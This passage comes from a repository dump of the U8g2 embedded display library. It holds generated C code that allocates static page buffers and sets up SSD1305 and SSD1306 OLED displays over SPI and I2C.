buf[1584];\n  *page_cnt = 9;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_25_25_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[200];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_25_25_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[400];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_25_25_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 25;\n  return 0;\n  #else\n  static uint8_t buf[5000];\n  *page_cnt = 25;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_37_16_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[296];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_37_16_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[592];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_37_16_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 16;\n  return 0;\n  #else\n  static uint8_t buf[4736];\n  *page_cnt = 16;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_40_25_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_40_25_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[640];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_40_25_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 25;\n  return 0;\n  #else\n  static uint8_t buf[8000];\n  *page_cnt = 25;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_1_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[64];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_1_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[128];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_8_1_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[64];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_4_1_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[32];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_4_1_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[64];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_4_1_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[32];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_1_1_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[8];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_1_1_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[16];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_1_1_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[8];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_2_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[160];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_2_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_20_2_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[320];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_7_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[256];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_7_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[512];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_32_7_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 7;\n  return 0;\n  #else\n  static uint8_t buf[1792];\n  *page_cnt = 7;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_48_30_1(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 1;\n  return 0;\n  #else\n  static uint8_t buf[384];\n  *page_cnt = 1;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_48_30_2(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 2;\n  return 0;\n  #else\n  static uint8_t buf[768];\n  *page_cnt = 2;\n  return buf;\n  #endif\n}\nuint8_t *u8g2_m_48_30_f(uint8_t *page_cnt)\n{\n  #ifdef U8G2_USE_DYNAMIC_ALLOC\n  *page_cnt = 30;\n  return 0;\n  #else\n  static uint8_t buf[11520];\n  *page_cnt = 30;\n  return buf;\n  #endif\n}\n/* end of generated code */\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_d_setup.c",
    "content": "/* u8g2_d_setup.c */\n/* generated code, codebuild, u8g2 project */\n\n#include \"u8g2.h\"\n\n/* ssd1305 */\n/* ssd1305 1 */\nvoid u8g2_Setup_ssd1305_128x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_128x32_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 2 */\nvoid u8g2_Setup_ssd1305_128x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_128x32_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 f */\nvoid u8g2_Setup_ssd1305_128x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_128x32_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 */\n/* ssd1305 1 */\nvoid u8g2_Setup_ssd1305_i2c_128x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_i2c_128x32_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 2 */\nvoid u8g2_Setup_ssd1305_i2c_128x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_i2c_128x32_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 f */\nvoid u8g2_Setup_ssd1305_i2c_128x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_i2c_128x32_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 */\n/* ssd1305 1 */\nvoid u8g2_Setup_ssd1305_128x64_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_128x64_raystar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 2 */\nvoid u8g2_Setup_ssd1305_128x64_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_128x64_raystar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 f */\nvoid u8g2_Setup_ssd1305_128x64_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_128x64_raystar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 */\n/* ssd1305 1 */\nvoid u8g2_Setup_ssd1305_i2c_128x64_adafruit_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_i2c_128x64_raystar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 2 */\nvoid u8g2_Setup_ssd1305_i2c_128x64_adafruit_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_i2c_128x64_raystar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1305 f */\nvoid u8g2_Setup_ssd1305_i2c_128x64_adafruit_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1305_i2c_128x64_raystar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_2040x16_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_2040x16, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_255_2_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_2040x16_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_2040x16, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_255_2_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_2040x16_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_2040x16, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_255_2_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_128x64_alt0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_128x64_alt0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_128x64_alt0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = 